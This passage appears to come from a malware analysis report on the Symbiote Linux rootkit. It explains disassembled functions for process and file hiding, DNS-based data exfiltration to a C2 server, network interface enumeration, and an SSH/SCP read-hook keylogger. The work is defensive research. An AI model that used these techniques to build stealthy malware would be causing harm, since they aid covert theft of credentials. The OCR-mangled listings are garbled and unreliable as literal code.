The path constructed above points to a symbolic link that is read using the readlink method.

The function returns 1 whether the symbolic link contains “/proc” and 0 otherwise:
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Ltext:20002002008013F2 lea rax, [rbp+s]
.text:0e080000000013F6 lea rex, [rbpt+buf]
Jtext: e0000000000013FA mov edx, & 5 len
Ltext: epppppeeeeee13FF mov rsi, rcx ; buf
Ltext: eeppppRRRRRe11e2 mov rdi, rax ; path
.text:ee8000000800814085 call _readlink
Ltext:e0e0000000001404 mov [rbp+var_8], rax
Ltext: 200000000000140E cmp [rbpt+var_8], &
Jtext: pee0000000081413 jz short loc_141C
) o '
Ll s = il s[5
Ltext:eeppppRRRERR1415 mov eax, @ Ltext:eppapaaaEEEa141C
Ltext:BpeReREERERE141A jmp short locret_l1448) (.text:2ee808808080141C loc_141C:
Ltext:200000000008141C mov rax, [rbptvar_ 8]
Jtext : 2000000808001428 mov [rbp+rax+s], @
text: 0000000008001425 lea rax, [rbp+s]
Ltext:B22E828282881429 mov rsi, rax 3 52
Ltext:ee00000000008142C lea rdi, sl ; “fproc”
Ltext:2e0080006800081433 call _stromp
LTtext:e0e0000000001438 test eax, eax
text:B000080000001434 setz al
Ltext:eeeaeaeae8881430 movix eax, al
]

YYY

FIZE]

Sext:
text:
tewt:
text:
Sext:
Sext:
text:

aGaaapappaaRE 1448
aaaaaaaaEREE1448
aaaaaaRRREEE1448
aaaaaapaaaea1441
aaaaapppeaEE1441
pappaRRRRRRRLA4]
aaaaaaaaEEEE1441

locret_1448:

leave

retn

; } // starts at 13AC
check_proc endp

Figure 20
The malware implements a function called check _ssh_scp. It obtains the location of an
executable by calling the readlink function with the “/proc/self/exe” parameter:
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il i =

Jtext: eopeooopoapelELls
text: eapaoaoaoaelELS
text:oobpbopaeae1lELS |
Jtext: bopeBopaeaRlELS
Jtext: eapaaaaaeaelELS
Jtext:eapebanaeapelELS
Jtext:eoappBaaeeanlELS
Jtext: eapapaaa0ape1ELS
Jtext: eopeoopaoapelELs
text: eapeoaaaoaelELS
Jgext:bopebopaeapelELs
text: bepaBaa00681EL0
text: eapaaeaa08081ELC

Jtext:eeoppBaaeeaRlE2T
Jtext: eapebaaaoapelE2E

text: eapaoaaa0a0e1ESS
text: bopabaRa0081E36
text: bapeBopaeaR1ESE
text: eapa800000001E3F

Attributes:

check_ssh_scp proc near

buf= byte ptr -28h
var_8= gword ptr -3

;3 _ unwind {
push
Mo

sub

Ltext:Ba60008000001E20 lea

lea

Mo

text: eopea00000081E30 mov

Mo

call
Mo

cmp

ctext:oaae000000001E44 2

rbp
rbp,
rsp,
rax,
rcx,
edx,
rsi, rcx
rdi, rax
_readlink

rsp
28h
path

abh

[rbp+var_8], rax
[rbp+var_8], BFFFFFFFFFFFFFFFFh
short loc_1E4D

bp-based frame

[rbp+buf]

"/proc/self/exe”
; len
3 buf
H path

L

s

text:oappoooe0ee01lE46 cmp
.text:ee8008000888081E4E jnz

[rbp+var_8], @Dh
short loc_lE54

Figure 21

The purpose of this function is to detect the presence of the SCP/SSH executable and
returns 0 if that’s the case:

il e =
text:eeeeeaoaeealES4
Ltext:epe000000000LE54 loc_1ES4:
.text:ep00000008881E54 mov rax, [rbpt+var_B8]
.text: 200000008800 1E5E mov [rbp+rax+buf], @
Ltext:e000008000868LES5D lea rax, [rbp+buf]
.text:000RBREEARRRLEEL lea rsi, s2 "fusr/bin/ssh"
.text:006868660008881E68 mov rdi, rax ; sl
.text: 000000000888 1E6E call _strcmp
text: 08800000088 1E7/8 test eax, eax
.text:0060000000081E72 jz short loc_1E92
L J
text:2000000000001E74 lea rax, [rbp+buf]
text:eee0000000001E7E lea rsi, alsrBinscp ; "/usr/bin/scp”
text: 60000000000 1ETF mov rdi, rax ; sl
text:2EE2E800088B1EE2 call _strcmp
text:eE20202888LEEY test eax, eax
text:E000E000000Q1EE9 jz short loc_1ES2
Yy

[l et =]

Ltewt: Geaa000060680081EEE mov
Ltext:e000000060001E968 jmp

eax, 1
short locret 1ES7

I
Figure 22

text:eee0000008001E92
.text:0000000000061E92 loc_1E92:
. text: 0e06080808801E92 mov

eax,

e

17/39



Symbiote implements the CRC32b algorithm in a function called crc32b. The algorithm can
be identified using the 0OXEDB88320 constant:

il s 5

Ltext:oepbeaREERRR2EE2
text:000000008B02EE2 loc 2EE2:

Ltext:080000088002EE2 mov rdx, [rbp+var_28]
Ltext:20680000088002EE6 mov eax, [rbpt+var_14]
Ltext:BE88000088882EEY cdge
Jtext:0000000000802EEE lea rax, [rdxtrax]

text:0000000000002EEF movzx  eax, byte ptr [rax]
text : BBE0080688B882EF2 movx eax, al

Ltext:2008000000882EFS mov [rbptvar_C], eax
Ltext:008000088002EFE mov eax, [rbptvar_C]
Ltext:B06880000088802EFE xor [rbp+var_B], eax
Ltext:e068000088002EFE mov [rbpt+var_1e], 7
Ltext:eeee000088882FE5 Jmp short loc_2F2A

‘e
55

Lext:eogpooapeeaa2F2A
Ltext:BBEEEREEERBR2F2A loc 2F2A:

.text:000000BARRBB2F2A cmp [rbp+var 18], e| [Figure 23
Ltewt: 20000080080082F2E jns short loc_2F@7
B ' =
I ol s 5
Jtext: oopooopooapR2Fay Ltext:ooppoopREaRR2F30
text:2008000000002F87 loc 2FE7:
ctext:062008000802FB7 mov eax, [rbptvar_ 8]
Ltext : 0eR2000000882F8A and eax, 1
Ltext:oapaoaae0ape2FEl neg eax
ctext: 0aa8008000002FBF mov [rbp+var_4], eax
Ltext:Baa80088088002F12 mov eax, [rbpt+var_8]
Jgextepeaaaaeea882F1s mov edx, eax
text:2000000000802F17 shr edx, 1
text:2000000000802F19 mov eax, [rbptvar_ 4]
ctext:Ba6000068080002F1C and eax, BEDB3332eh
LText: eeaaenaeaRaa2F21 wor eax, edx
ctext:e00008000002F23 mov [rbptvar_8], eax
.text : HOABEOEROIAIO2F26 sub [rbp+var_10], 1
|

There is a function called create_file that can be used to create files. It calls the open method
(Ox441 = O_WRONLY | O_CREAT | O_APPEND):
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il

=]

text:
gext:
text:
text:
text:
text:
text:
text:
gext:
gext:

GReaaaaaREE252C
GpeEaaaaaEE252C

gpaaaaaaaREE252C
apaaaaaaREB252C
gpeaaaaaRa252C
apaaaaaaaRRa252C
gpeaaaaoepRB232C
GReaaaaamEE252C
GReEaaaeaEE252C

GpaaaapaRRE2520C |

Attributes:
create_file proc near

file= gword ptr -18h
fd= dword ptr -4

; _ unwind {

bp-based frame

text:
text:
text:
text:
text:
text:
gext:
gext:
text:
text:
text:
text:
text:

GpeBaaaeaRE252C
gpaaaaaaeREE252D
apeaaappaRRE2530
gaeoaopeaRR02534
gpaoaaaeaREa2538
gpeaaaaoepRB2s3C
GpeaaoaaaREE2541
GReEaaaEaEE2540
GReEaaaeaRRE2540
GpaEaaaeaRRE254E
apaaaaaaaREB2553
gpeBaaaeaRRa2556
gpaoaaaeaRRa2554

push
Mmoo
sub
Mo
Mo
Mo
Mo
Mo
M
call
Mo
cmp
jz

rbp

rbp, rsp

rsp, 26h
[rbp+file], rdi
rax, [rbp+file]
edx, 1B&h

esi, 441h

rdi, rax -
eax, @

_open

[rbp+fd], eax
[rbp+fd], @FF
short locret_2575

Figure 24

The process changes the permissions of a file to 0x1B6 = S_IRUSR | S_IWUSR | S_IRGRP |
S_IWGRP | S_IROTH | S_IWOTH, which means that all users can read and write but cannot
execute the file:

il s =
Jtext: 200000020080255C mov eax, [rbp+fd]
text: 660000080000255F mov esi, 1B&h ; mode
text: 660808080068082564 mov edi, eax : fd
Ltext:B002000208802566 call _fehmed
ctext:paEe008000002568 mov eax, [rbp+fd]
Ltext: eapeaaa00080256E mov edi, eax ; fd
Ltext:paaee0E88002578 call _close
X
il e =
Jext:eaeaaaaaeaea2575
text:e000000000002575 locret 2575:
text:0000000000002575 leave
Jext: B2E8288080882576 retn
Ltext:eB000080088002576 3 1 // starts at 252C
ctext:000B0000002576 create_file endp
Jext:BaRaaEaee8825786

Figure 25

In the function called dns, the ELF binary retrieves the current process ID that is converted
from host byte order to network byte order using htons:
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il i =

text:
text:
text:
dext:
dext:
dext:
dext:
text:
Tdext:
text:
text:
dext:
dext:
dext:
dext:
text:
text:
dext:
text:
dext:
dext:
dext:
dext:
text:
Tdext:
text:

dext:
text:
text:
dext:
dext:
dext:
text:
dext:
dext:
text:
text:
text:
text:
dext:
dext:
dext:
dext:
text:
text:
text:
text:
dext:
text:
dext:
dext:
text:
text:
text:
text:
dext:
text:

gpeoaaooapRe2E0E
GeeaaeaaeE2E66

gpeooopaeRRe2BEEE |

gpeGeaeeaRRE2B6E
apaaeaeoaRRE2E6E
apaaaaaaape2E666
aappaapaoape2B66
apaoapaoaRa2E66E6
gpeoaaooepRe2E0E
GpeaaaoaaeE2E66
gpeoaaaaaE2B6E
gpeaeaeeaREE2B6E
gpaaeaeoaRRE2E6E6
apaaaaoaape2E66E6
aaepaapaoape2B66
gpaoapeo0aRe2E6E
gpaoaaooepRe2EaC
GeeaaeaaeeE2E6F
gReoooRRaRRE2E TR
gpeGeaEeaRRE2BT7
apaEeaEeaRRE2ETE
apeaaaaeaRe2E85
aappaapaaape2BE9
apaoapeaRa2E5E
gpeoaaoeepa2EoL
GEeEaeaaeE2E93

apeaaaaaapee2C26
gpeaaopaaaee2C3a
apaaaaEaaRa2C35
gpeoopoeapRa2C39
aaaaaaaaaea2C30
gpeaaaaeaE2C41
gpeaoREaaRRE2C47T
apaaaaEeaREa2C4E
apeaaaeeape2C51
apaaanoaaea2Cs5
apaaaaoaapea2C56
gpaoopooapRe2Cad
aapaaaaaaaee2CE6
gpeoaopaaRRa2CeA
gpeaaReaaRRe2CT1
apaaRREeaRRE2CT5
apeaaaeaaRRe2CT 8
apeaanooapea2CTE
apaaaapaapae2Cse
gpaooopoapRe2Csd
aapaaaaoaaee2Ca7
gReaaREeaREa2C8C
gpaaooRaaRRe2Co8
apaaRaEeaRRa2CaT
apeaaopaaREe2C9A
apeaanoaapea2CoE
apaaaaoaaRa2CAS
gpeoopooaRRe2CAS
aaeaaaaaaame2CAC
gpeoaREEaaRRE2CAF
gpaaeopaaERe2CEL

Attributes: bp-based frame

dns proc near

var_248= qword ptr -248h
addr= sockaddr ptr -248h
buf= byte ptr -23@h
var_3@8= gword ptr -38h
s= gword ptr -28h
var_28= gqword ptr -28h

fd= dword ptr -14h

;3 __unwind {

push rbp

Mo rbp, rsp

push rbax

sub rsp, 248h

Mo [rbptvar_248], rdi
lea rax, [rbp+buf]

mowv [rbp+var_38], rax
call _getpid

movz®  eax, ax

mow edi, eax ; hostshort
call _htens

mow edi, 1 ; hostshort
call _htons

mov rdx, [rbpt+var_38]

MoV [rdx+4], ax

Mo rax, [rbptvar_3@]

Mo word ptr [raxtg], @
Mo rax, [rbptvar_3@]

mov word ptr [rax+8], @
mov rax, [rbp+var_38]

mov word ptr [rax+8sh], @
lea rax, [rbp+buf]

add rax, 8Ch

Mo [rbpts], rax

Mo rdx, [rbptvar_243]
mav rax, [rbp+s]

Mo rsi, rdx

mow rdi, rax

call ChangetoDlnsNameFormat
mov rax, [rbp+s]

mow rdi, rax ;S
call _strlen

lea rdx, [rax+eDh]

lea rax, [rbptbuf]

add rax, rdx

mov [rbp+var_28], rax

mow edi, 1 ; hostshort
call _htons

MoV rdx, [rbptvar_2@]

Mo [rdx], ax

mow edi, 1 ; hostshort
call _htons

|Figure 26

The malware calls a function named ChangetoDnsNameFormat that will be explained below:

Figure 27
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The malicious process creates a socket that will be used to communicate with the C2 server
(0x2 = AF_INET, 0x2 = SOCK_DGRAM, 0x11 = IPPROTO_UDP). The C2 server address is
converted from dotted decimal notation to an integer using the inet_addr method:

text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
dext:

The sendto function is utilized to send data to the C2 server:

dext:
dext:
text:
text:
text:
dext:
dext:
text:
dext:
dext:
text:
text:
Tdext:
dext:
dext:
text:
dext:
dext:
text:
text:
text:
dext:

apeaaooaapa2CEY
apaaaapaaaea2CED
gpaopooapee2CCl
gpeaopaaaee2CCE
aagoaapaeae2CCE
gpeaaopaaRRa2CDe
apaaaaEeaREe2C05
apeaaaeaapea2CDa
apaaaaoaapa2CEL
apaaapoaaRa2CER
gpaopooapea2CER
Geeaopeaaea2CF2
aapooeaaaae2CFo

apaaaaEeaRRE2CFE
apaaaopaanea2Ded
apeaaoooapaazDog
apaaaapaaaaazihle
gpeoopooapee2Dl3
aaaoaaaaaaee2Dl7
gpeaaopaaaea2hlA
gpeaapeeaRea20D1F
apaaaaEeaREa2023
apaaaaeaaaee2h2A
gpeaaapaaaaaziD2l
apaaapoaaea2h33
gpeoopooapReZl3Ie
aapaaaaaaaee2D36
gpeaaopaaaea2b3l
gpeaepeaaee2042
gpaaaaeaaREa2049
apaaaoeaaaee204n
apeaanoaapaa2D4b
apaaaaoaapaa2D4b
gpeoopooapea2Dlb
aapaaaaaaaee 2046

Mo
Mo
mov
maw
maw
call
Mo
Mo
Mo
call
mow
lea
call

Mo
lea

Mo

mow

mow

maw

call

lea

lea

Mo

Mo

mo

mow

maw

call

add

pop
leave
retn

HES A
dns endp

rdx, [rbp+var_28]
[rdx+2], ax

edx, 11lh ; protocol
esi, 2 ; type
edi, 2 ; domain
_socket

[rbp+fd], eax
[rbp+addr.sa_family], 2

edi, 35h ; '5" ; hostshort
_htons

word ptr [rbptaddr.sa_data], ax
rdi, dnserver ; Cp

_inet_addr

dword ptr [rbptaddr.sa_data+2], eax
rax, [rbp+addr]

ebx, @

rbx, rax

rax, [rbp+s]

rdi, rax S

_strlen

rdx, [raxtllh] ; n

rsi, [rbp+buf] ; buf

eax, [rbp+fd]

rod, 18h addr_len

rd, rbx ; addr
ecx, @ ; Tlags
edi, eax ; fd
_sendto

rsp, 248h

rbx

tarts at 2B6B

Figure 28

Figure 29

The function called ChangetoDnsNameFormat prepares the structure of the request for DNS

data exfiltration:
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text:
Text:
-text:
: 9808606800600 2ABA

dext

text:
text:
-text:
text:

gaoaepeRRaRE2ABA
apaaeaaREEER2ABA
apaaaaaa08002ABA

gaaaepopaRa2ABA
gaaaopenRaRa2ABA
geaaepepRaRR2ABA
GaoaepaRRaRa2ABA

ChangetoDnsNameFormat proc near

s= gword ptr -36h
var_28= gword ptr
var_18= dword ptr
var_l4= dword ptr

;3 __unwind {

-28h
-18h
-14h

Jtext:eeaaaoaa00882AB8
Jext:eeoooooonene2ABE
Jext:eeoboooopere2ABE
Jext:eeoboaaopena2ABF
Jtext:BeaaaoaaaRRE2ACS
Jtext:eoaaaoapapRe2ACT
Jtext:eoaaaoaaae882ACE
Jext:eeoooaaopepa2Al2
Jext:eeoboaaopene2ADs

push rbp

mov rbp, rsp

push rbx

sub rsp, 28h

mov [rbpt+var_28], rdi
mov [rbp+s], rsi

mov [rbp+var_18], @
mov [rbpt+var_14], @
jmp short loc_2B3D

'z

loc_2B3D:
mow eax,
movsxd rbx,
mowv rax, [rbp+s]

mow rdi, rax £
call strlen

i s (=]

text :eepEEEEEE088263D
Jtext:egpaoppaeREE263D
Jtext:e@paepRaeREE263D
Jtext:eepaeRREER62648
Ltext:eeppe022800026843
text :eeRE0028808082847
Jtext:e@paopRaER8 2544 |
text:0peea0008000284F add rax, 1
Lext:eeeeaee008202853 cmp rbx, rax
Ltext:0EREEE2080882B56 jb short loc_2ADB

[rbptvar_14]
eax

il e
Ltext:Booboeaorere2B58
Ltext:BBobaaaeRe022B5C
text:Beaa00000088265F
Ltext:ebaaeoa000002864
Ltext:eeaaeoa800802E68
Ltext:boobaaaopepe2Bes

al, ZEh ; "." Ltext:ebeboeaoreRa2BoA

short loc_ 2AFB Ltext: 0000200080 2E64
! Ltext:eoaaeoa000002B64
Ltext:eeaaeoa8008082B64

il e 5

Lfext:Geeeereeaee024DB
Lfext:beeeepeeee02ADB
LText:eeeeppeEEEE02ADB
Ltext:eeeeepeeee002ADE
Ltext:eeeeeREEEEE62AE0
Lfewt: eeeeepee000025E4 movIx
Lfext:BeeeeReEEBRBE2AET cmp

Ltext:GEE2RERBBRA2AEY jz

maov
mov
add
add
pop
leave
retn
;3 } // starts at 2ABA
ChangetcDnsNameFormat endp

rax, [rbptvar_28]
byte ptr [rax], ©
[rbp+var_28], 1
rsp, 28h

rbx

loc 2ADB:

mov eax, [rbptvar_14]
cdge
add rax, [rbp+s]

eax, byte ptr [rax]

Figure 30
In the function named getaddrlist, the ELF binary extracts a linked list of structures
containing the network interfaces of the local machine using the getifaddrs method:
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il i =

JtextopobopRaoaa2F4A

textoobbopRRoaaa2F4A

. text:0000000000002F4A ; Attributes: bp-based frame

LJtext:eebbappaoeaa2F4A

text:00008000800082F4A getaddrlist proc near

Ltext:eebboppaoaaa2r4A

text:0e000000000082F4A Tlags= dword ptr -258h

.text:0000800080002F4A ifap= qword ptr -238h

. text:0000000000002F48 s= byte ptr -238h

text:00008000088002F48 dest= qword ptr -28h

. text: 0000000000002F4A var_28= dword ptr -28h

text:0000800080002F4A var_1C= dword ptr -1Ch

text: 0000000088002F4A var_18= gqword ptr -1Bh

JLext:@aeaaeaaaea2rFa4n

.text:0000000080002F4A ;  unwind {

Ltext:02000000000082F4A push rbp

Ltext:eeoooppa0a002F48 mov rbp, rsp

Ltewt:020080000088082F4E push rbx

text:BERE228088082F4F sub rsp, 248h

Ltext : 00080800008882F56 lea rdi, s H-

text:eepae00080002F50 call _strdup

.text:0000000000002F62 mov [rbp+dest], rax

ctext:BERE820882082F66 cmp [rbp+dest], @

.text:0E0000B088802F6E jnz short loc_2F77

_ 4

il e
Jgext:eaoooppoaaaa2rTv
text:0200800000002F77 loc 2F77:
text:eepaee08880082F77 lea rax, [rbp+ifap]
text : 0a000008088882F7E mov rdi, rax ; ifap
text:ee00e000808002FEL call _getifaddrs
Lext:opbbepReeeaR2FEE Ccmp eax, OFFFFFFFFh
text:eee08208888082F89 jnz short loc_2F94

Figure 31

Based on the structures extracted above, the process extracts the IP addresses by calling
the getnameinfo function:

il s

Jtewt:bopioapeeaRE5E2F
text:oappaaao0aRE582F
text:eapioapoaaRe582F
Jtext:ogppoapooapesa33
Jtext: bapioapooaResa3y
Ltext: oopaooopea8383A
text:oopioapooae5a41
gtext:bopioopooapesa4y
text:bepiooopaaaes040
Jtext:oeppooapaea05858
Jtext:eapioapoaaRE3852
Jtext:oappoapooapesasy
Jtext: bapaoaaaaaRE3859

loc_382F:

mov rdx, [rbp+var_18]

mov rdx, [rdx+18h]

mow rdi, rdx ; sa

MoV [rsp+258h+flags], 1 ; flags
mow rod, @ ; servlen
mow réd, 8 ; Serv
Mo rdx, rax ; host
mow esi, ebx ; salen
call _getnameinfo

test eax, eax

jnz short loc_38CF

Figure 32

The interfaces IP addresses are concatenated together using the strcat method:




W=

Jtext:0000082008083058 mov rax, [rbptdest]

text: 66080008008808305F mov rdi, rax S

Ltext:BE00002008083062 call _strlen

LJgext: BReaEaa3aaaE 3867 mov rbx, rax

ctext:Ba600000880003864 lea rax, [rbp+s]

Ltext: 008RRA8000803871 mov rdi, rax =

Jtext:eeepEaae00283874 call _strlen

Jtext:eoee000008083879 lea rax, [rbxtrax]

Jtext:eo000020080683870 lea rdx, [rax+2]

Ltewt: BREEE0220888303] mov rax, [rbptdest]

Jtext:A000008000083885 mov rsi, rdx ; size

Ltext: /0RREAAE08RR3838 mov rdi, rax 3 ptr

text:Baa8000860003888 call _realloc

Ltext:BBEEEEEEE2283898 mov [rbpt+dest], rax

text:aeeEREEE20083894 cmp [rbptdest], @

Jtext:eoee0000000083099 jz short loc_ 3@E3

¥ ‘

Ll s =]

EEE8E30ES Jtext:ee08000008003098 lea rdx, [rbp+s]

}eEAER36ES loc 3BES:| |.text:20020820088838A2 mov rax, [rbptdest]

IeEEEA3RES nop Ltewt:BOEREEEREEBA30A6 mov rsi, rdx src
Jtext:eeee808088836049 mov rdi, rax dest
Ltext:e0680000080030AC call _strcat
Jtext:eeaaeapee8883081 lea rdx, src e
text: 2880000800083 868 mov rax, [rbptdest]
Ltext : 00000000008830BC mov rsi, rdx src
Ltext : 0868020000883 0BF mov rdi, rax dest
Ltext:BEE208200880838C2 call _strecat
Ltext:pAERGE22082838CT Jmp short loc_3e0ae

In the getserver function, the malicious binary tries to open a file called “/tmp/resolv.conf”:

Figure 33
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il sl =

dext:
text:
dext:
dext:
Ctext : BeREREBaEEE 296 1
text:
text:
text:
dext:
text:
dext:
dext:
Jtext : BeRaREEaEEE 296 1
text:
text:
text:
text:
dext:
dext:
dext:
Jtext : eBeRaRaEaRRe2918
text:
text:
text:
dext:
text:
text:
dext:

GeeaaoeaaaeE2981
gpeoaaEaaEE2981

apaaaaEaaREE2081

gpeaaaooapa2oal
apeaapoaapa2o81
gpaoaooapee2oal
GEeaaoeaaaE2981
gpeoaREeaEE2981
gpeaopeaaRRE2081
apaaaaaeaREE2081

apeaanoaapa2o8l
apeaapoaapa2981
gpaogpooapea2oB
GReaaoEEaaE2085
gpeoaREEaREE2089
gpeaopaaRRE2918
apaaeaEeaREE2915

apeaanoeaRa291F
apaaaapaaREe2924
gpaoppooapRa2o2E
GEeaaoEEaaRE2952
gpeoaREEaaREa2937
gpeaaREEaRRE203E
gpaaaoaaaRE02948

gpaoaopaaRRe2oRL |

Attributes:

getserver proc near

n= gqword ptr -28h
haystack= gqword ptr -28h
stream= gqword ptr -18h
var_C= dword ptr -8Ch

var_8= dword
var_d= dword

ptr -8
ptr -4

3 __unwind {

push
mow
sub
lea
M
mow
lea
call
lea
lea
call
maw
cmp
jz

rbp
rbp,
rsp, 38h

rax, as3s83

edwx, 8 s
rsi, rax -
rdi, dnserver H

rsp

_memcpy

rsi, modes
rdi, filename

_Topen

[rbptstream], rax
[rbptstream], @
loc_2AB7Y

bp-based frame

"/tmp/resolv.

cont™

|Figure 34

The malware is looking for a nameserver in the above file. If there is no nameserver, then the
process will use the Google DNS server (8.8.8.8) to send the DNS request as a UDP

broadcast:
all st =]
.text:epbeoooRREBBZATD
.text:2000000000002A70 loc_2A7D: 3 stream
.text:000000008802A70 mov rdx, [rbpt+stream]
.text:2000000000002A81 lea rcx, [rbp+n]
.text:2000000000002A85 lea rax, [rbpthaystack]
.text:oea0000080002A89 mov rsi, rcx 5 m
.text:/0EERBBPREB82A5C mov rdi, rax 3 lineptr
.text:2000000000002A8F call _getline
text:oppeeREEE0882A94 test rax, rax
.text:ee00000000002497 jg loc_295B
A J
.text:0B00E00008002958
.text:0B0PE0B08BBB2958 loc_295B:
.text:2000000008002958 mov rax, [rbpt+haystack]
.text:P000000000080295F lea rsi, aNameserver ; "nameserver”
.text: 500PB0000BB82966 mov rdi, rax ; haystack
.text:0000000000002969 call _strstr
.text:200000000000296E mov rdx, [rbpt+haystack]
Ltewt:@000000000002972 cmp rax, rdx
.text:2000000000002975 jnz loc_2A7D
: 1
] ¥
A==
.text:2000000000082978 mov [rbp+var_C], @ah
.text:2000000000002932 jmp short loc_2988
Figure 35
The process compares two strings (file names) in the hidden_file function and returns O if
they match:
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¥

text:eepae0000008168C hidden_file proc near
Lgext:eeooaapaaaaaloal
text: 000060000008168C s1= qword ptr -18h
text:eepa80000008168C var_4= dword ptr -4
Jgext:eeobaapaaaaaloal
Ltext:000000000000168C ;  unwind {
text:eepaeEREERBB16BC push rbp
Jtext:eeppaepae0881080 mowv rbp, rsp
.text:00E0600000001618 sub rsp, 28h
text:G000000000001614 mov [rbpt+s1], rdi
text:0000800080081618 mov [rbp+var_4], @
text:00Ea600008000161F jmp short loc_1658
'z
bl st =
Ltext:eppoooaoeaaalose
.text:eeaa800080081658 loc_1658:
.text:eeaa800000881658 mov edx, [rbp+var_4]
. text:0B00000000081653 mov rax, cs:fth_ptr
Ltext: 0pe0000000808165A movsxd rdx, edx
text:eea88000000881650 mov rax, [rax+rdx*s]
text : 060060068868801661 test rax, rax
text:eeaaeERE800881664 jnz short loc_1621
: Y
il s =]
Ltext:epoooppaoeaalo2l
.text:0000000080081621 loc_1621:
. text: 0000000000081621 mov edx, [rbp+var_4]
text:e002800080081624 mov rax, cs:fth_ptr
Ltext:eae000p000001628 movsxd rdx, edx
. text : 0000000008008162E mov rdx, [rax+rdx*3]
text:8002800080081632 mov rax, [rbp+sl]
Ltext: eaea00RE0088081636 mov rsi, rdx 5 52
Ltext: 0008208888163 9 mov rdi, rax ; sl
text:eeea800088008163C call _stremp
TTexti:eeeaeeaee888104]1 test eax, eax
. text:00000000800016432 jnz short loc_164C

il e [5=
text:eeaee08888881645 mov
Figure 36

eax,

a

Y
Ll i 5]
LJext :edepaapea81l006 mov

eax, 1

bl s

Text

The hidden_proc function expects a process ID as an argument. It calls the strspn and strlen
functions in order to ensure that the process ID consists of digits only:
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] sl =

text: bopgaaaooapelad2
Ltext:bopiBaaooaRRl442

Ltext:eapiaaaaaRE1442
Ltext:eappaaaaaapalad
Ltext:eappaaaooapalad?
Ltext: eappoaaaoapalad?
Ltext: bopgooapoopalad2
Ltext: bapgaaaooaeelad2
Ltext:bopiBaaaoaRE1442
Ltext:bepiBaaaeaRE1442
Ltext:eappaaaaeaRE1442
Ltext:eappaaapeapalad
Ltext:eappaaaooapalad?
Ctext: egppoaaeoapalad?
Ltext: oopgooapoopalad2
text: eopgaaaooaeeldds
Ltext:bopiBaaooaREl4ds
text:bopibaaoeaRalady
Ltext:eapiaaaaeaR8144E
Ltext:eappaaaaeapel455
Ltext: eappaaaaaapalasc
Ctext: egppaaneoapeldasd
Ltext: oopgooapoopelicn
Ltext: bopiaaaeoaeel46E
Ltext:bopRBaaREaRR146E
Ctext:bopRBaaREERR1475
Ltext:eeppaaaaea281478
Ltext:eappaaapeaald il
Ltext:eappooapaaaaldsn

Ltewt:eopibeaoeapeladz

Attributes: bp-based frame
hidden_proc proc near

s= gword ptr -148h

n= gword ptr -148h
lineptr= gqword ptr -138h
filename= byte ptr -138h
stream= qword ptr -28h
var_28= gword ptr -28h
var_l4= dword ptr -14h

;3 __unwind {

push rbp

Mo rbp, rsp

push rbx

sub rsp, 148h

mow [rbp+s], rdi

mow rax, [rbp+s]

lea rsi, accept ; "@123456789"
Mo rdi, rax HE
call _strspn

Mo rbx, rax

Mo rax, [rbpts]

Mo rdi, rax H-
call _strlen

cmp rbx, rax

jz short loc_148C

The ELF binary retrieves information about a process from the “/proc/<pid>/status” file, as

shown in figure 38.

Figure 37
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M

Ltext:ecoeeopaaeaa143C

Ltext:0p0000000020148C loc 148C:

.text:e00000000000148C lea rdx, aProcSStatus ; "/proc/&s/status”
Ltext: 0060020200881493 mov rex, [rbp+s]
Ltext:0060020000281494 lea rax, [rbp+filename]

Ltext : eepRRa80808001481 mov esi, 1@8@h 3 maxlen
Ltext: eepERa0080001486 mov rdi, rax is
Ltext:esepeaseaeaaldry mov eax, @
Ltext:000000000880814AE call _snprintf
Ltext:ee00000000001483 lea rdx, modes A
Ltext:00000000002814B4 lea rax, [rbp+filename]

Ltext : eepeaaa0808014C1 mov rsi, rdx ; modes
Ltext : feRRRA8880814C4 mov rdi, rax ; Tilename
Ltext:0e000008088014C7 call _fopen
Ltext:00000808008814CC mov [rbp+stream], rax
Ltext:0000000000201408 cmp [rbp+stream], @
Ltext:8060000008281405 jnz short loc_14E1

il i =

Ltext:eepoeepopoealdEl

.text:00000000000014E1 loc 14E1:

.text:60000000200014E1 mov [rbp+lineptr], @

. text:0006000008008014EC mov [rbp+n], @

. text:0pe00000000014F7 mov rdx, [rbp+stream] ; stream
.text:000000002800814FE lea rcx, [rbptn]
.text:0000000020001502 lea rax, [rbptlineptr]
Ltext:eo0e000000001509 mov rsi, rcx = R
.text: 000006000008158C mov rdi, rax ; lineptr
.text:0000000000800158F call _getline

. text:0000PE0000001514 mov [rbp+var_2@], rax
.text:00e0800000001518 cmp [rbp+var_2e], 7
.text:0000080000001510 jg short loc_1544

Figure 38

The purpose of this function is to compare two process names and to return 0 if they match
(see figure 39). Symbiote’s objective is to hide some processes that are related to the
malware such as: certbotx64, certbotx86, javautils, javaserverx64, javaclientex64,
javanodex86 (BlackBerry’s article).

-text:p0800000000015CC loc_15CC:

. text:200ROEORROBR1SCC mov edx, [rbptvar_14]
- text: POOGOSS0000815CF mov rax, cs:pth_ptr
. text:00800080000015D6 movsxd rdx, edx
-text:20200880080801509 mov rax, [rax+rdx*8]
. text: 200000000000150D test rax, rax
-text:008Q2E0000OR15SER jnz short loc_1578
L]
h
il i =

-text:P088R088GOE01578 loc_157B:
.text:0000000000801578 mov edx, [rbp+var_14]
- text : BOO0000L0A00157E mov rax, cs:pth_ptr
.text:0000000200001585 movsxd rdx, edx
.text:@000000000001588 mov rax, [rax+rdx*8]

. text : BOO0000LO000158C mov rdx, [rbp+lineptr]

. text:2000200000801593 add rdx, 6

- text: POO0OBEOBB0001597 mov rsi, rax ; 52
.text:000000000000159A mov rdi, rdx ; =1
.text:00000OOOREOO1SID call  _strcmp

. text:20000000R00015A2 test eax, eax
.text:@0802080000015A4 jnz short loc_15C8

.text:220802000R0A15A6 mov rax, [rbp+lineptr] rax, [rbp+lineptr] .text:@0020000000815CE
. text: 2ee0000000815AD0 mov rdi, rax ; ptr rdi, rax i ptr .text:00000000000015C8 loc_15C8:
.text:@000000000001580 call  _free _free .text:P0000000000015CE add [rbp+var_14], 1
.text: 0000000000081565 mov rax, [rbpt+stream] rax, [rbp+stream]
. text : 200000000001569 mov rdi, rax 3 stream rdi, rax 3 stream
.text : 20082G00000015BC call _fclose _fclose
text: 0000BGE0000815C1 mov eax, @ eax, 1
.text: 00000B00000015C6 jmp short loc_16@2
]

Figure 39

28/39



The disym function is utilized to obtain the address of the read method. If an SSH or SCP
process is calling the libc read function, then hook read is set to keylogger, which is

explained below:

il e =
text: eppoepaeaeRe1FCE
JText:eppoapaeea081FC0
.text:0000000080081FC6 ; Attributes: bp-based frame
text:epeaeppeaeRaLlFCo
